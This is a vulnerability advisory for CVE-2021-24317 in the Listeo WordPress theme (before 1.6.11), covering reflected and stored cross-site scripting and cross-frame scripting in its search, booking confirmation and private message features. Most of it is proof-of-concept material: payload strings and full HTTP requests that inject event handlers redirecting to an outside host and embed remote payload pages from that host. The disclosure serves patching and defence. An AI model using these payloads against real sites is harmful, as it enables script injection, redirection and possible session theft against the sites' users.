Listeo < 1.6.11 – Multiple XSS & XFS vulnerabilities | CVE 2021-24317

Description

The theme did not properly sanitise some parameters in its Search, Booking Confirmation and Personal Message pages, leading to Cross-Site Scripting issues

- Unauthenticated Reflected XSS | Search query, vulnerable parameter(s): keyword_search and location_search

- Authenticated Persistent XSS & XFS | Booking confirmation, vulnerable parameter(s): firstname, lastname, email, phone and message

- Authenticated Persistent XSS & XFS | Personal messages: action=listeo_send_message&recipient=&referral=author_archive&message=

Proof of Concept

### -- [ Payloads: ]

[$] --!>" autofocus onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//"

[$] <!-->"><!--><embed src=https://m0ze.ru/payload/xfsii.html>



### -- [ PoC #1 | Unauthenticated Reflected XSS | Search query: ]

[!] https://listeo.pro/listings/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&location_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&tax-listing_category=&action=listeo_get_listings

[!] GET /listings/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&location_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&tax-listing_category=&action=listeo_get_listings HTTP/1.1
Host: listeo.pro



### -- [ PoC #2 | Authenticated Persistent XSS & XFS | Booking confirmation: ]

[!] POST /booking-confirmation/ HTTP/1.1
Host: listeo.pro
Content-Type: application/x-www-form-urlencoded
Referer: https://listeo.pro/booking-confirmation/
Cookie: [user cookies]

confirmed=yessir&value=%7B%5C%22listing_type%5C%22%3A%5C%22rental%5C%22%2C%5C%22listing_id%5C%22%3A%5C%22578%5C%22%2C%5C%22date_start%5C%22%3A%5C%222021-09-07%5C%22%2C%5C%22date_end%5C%22%3A%5C%222021-09-10%5C%22%2C%5C%22adults%5C%22%3A%5C%221%5C%22%2C%5C%22services%5C%22%3A%5B%5D%7D&listing_id=578&coupon_code=&firstname=Ex%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&lastname=Mi%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&email=hatosoh945%40hrandod.com&phone=%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&message=%3C%2Ftextarea%3E%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E



### -- [ PoC #3 | Authenticated Persistent XSS & XFS | Personal messages: ]

[!] POST /wp-admin/admin-ajax.php HTTP/1.1
Host: listeo.pro
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://listeo.pro/author/m0ze/
Cookie: [user cookies]

action=listeo_send_message&recipient=1506&referral=author_archive&message=%3C!--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E